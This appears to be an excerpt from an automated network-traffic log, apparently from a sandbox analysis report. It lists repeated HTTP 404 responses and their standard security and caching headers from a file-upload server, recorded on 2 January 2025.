Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7_bI0xqW-uw6OR7czgf7Fr4DAq86tJwfmvV8JXxb-fs-frQrs6EGhFjO82qsnwnYXIcLQoL8MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:12 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Jxyc_RkXXlf73-nIiWbq3w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC67RMLp95WsGSoAI6TCjA1wrYJz6F9_HIX5g1H3-x8iy05OWd93hC_TnrqOHeP_b8TPwmiUe50Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:12 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-euOD7ykQiw4uCy6ytQ2IoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5LZ6K2piHAhDuHyXJ2C1P70o9Q5ofkoRbotDHKyP1YTMzQUtmuEo4zK8v8s-aTGvTKContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:13 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-uLb3AGaEEMOmyBa_yfHRvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5mGj35Swsmy9h_hEpJjAX-6aHfhKFZV9qnrHLO5ENDE6CUzY743waH2kkF-nNMdB9zContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:13 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-BSOaqZuwG9ROfu4EXdn9mg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4R31ZVZ_nZ_y5n8nzOPVjNKojJTsQsd6B8dEyYkGeJSf9ojxidHGfJY_BO-nVeWXLcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:15 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Aam8_OiGST9sYgCTehVeQA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5QNd8wsYYtymuKoFS2NP4RLEcoPYeqJtrZrAOLh3DOog1EOfqswcgfuCilE_VM-sNQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:16 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-DI7wCMiaVdfNclVqjWblmw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC77-bGb7GCDa2RHdN0ObC968JRm_jJz6IfyGCGCxUaw7s4ecaqemlkwALxZjOkd8JIwRGonKOwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:16 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-RUy25qWu0gxu2-M8MdP_hg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4xS5gkfV1dlmvYLwOFIX8Fkpdo2PpeDt9AJ3IOPHA4Dg3PT92y8iglH-3CqgYoIvoi6ygnL4UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-LDzbZHtiyK-ZeYGqEr44uQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7wfbX378AEE8GD4ZNMXzkQQV-dEJ-vngtmGkMdFA2x2o3iHCiM3ZQ9DsfEf0A1xTKaContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:19 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-REfNef1ULiWRN3SlNu9sNQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ayxhkfX29gxWcqA5wES9dcSmcA6a4sF1OeuMHK5abNclGBDmW9v1NCd6fYpVCAxuaContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:19 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-8z6RRpcnNRB4MtwIMgM9RQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5eExEm6iqtKc6PP5hbBFZ2q1vbsu-oTjhRADnoprcUACBK-yqFuaHDURrH9egeGDsMVzwUNBwContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:20 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-C1opiyU-GNNwH_IYeH_yOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC76BfeOeFUhs326ihHtE8gOSDeMgOmGEhhWuCwT4KbJuOdAN7KD-33KT6bdcYTB6punContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:21 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lSfTmIA9fJXaowWqx5Lh-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5-5YD2VFpyYESWnfjys8V3l9iigzfCSumoxkMWLsTpWxngfgJ7zrwL0VIe4c_YVwggContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:22 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-FZ2jhXWgXZ9INgFj07ojDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4H-6EhZWZpwoGxtDxPFiyW0LuZdgk3ug2BdYAQZQGipsvDLSjjDd_-GkzmedOJqGEaContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:23 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-4epq_fDbYTmA85SqfflNRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6DBbIVVQ_DrC36SZpQoPOkBHZ48KNl0uJ_k_bXGOdt2qCI1MJWJqJKqkzNroyMYSkS7lA4IvAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:23 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-txzpAO3vZwwS8An_doWWEg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5VoZpf8C81kwuemqs-ibQKzdW87x5e8WVv0MhrlHGi_tPG8-kRonqqaesiGIEPnW8Aukjgy90Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:25 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-oEBLaEngZ61dXqFIQ_be2g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7WMDHUOiWzsZLjlSbABmwEbKRdqKcndZHm6ciVYS6sh8PpaTRmDh9YvTokNkNCvALfcdSbSyIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:25 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Z74Xjedc2YzjX9xm-qWM-g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6P7-8aoVwIq4eGu5LXRD2h3bqJznh5ZNnUCr2EZ4T_7RdCMU4Dp-jeqcKIG2FvzX7FContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:28 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-_Mh21qxqBtzjv7BXMM9c4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7PgOWaE6teerJZt3ihMvYDlFYAgdnXlBkz8p_lry0Z6L_tDbBOZS2T1NdP5KjjwAbiContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:28 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-T3snKKQT-6HpyxAzwv-1MA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6rHEj-2YEdlgTZ2xY-sZf5WjO-duOaoMVg4zQOaY20c0TcQluaeQm3QUSGnXsBx9n-Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:21:29 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-8mGmx4771Z3TOzkzwCDWZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
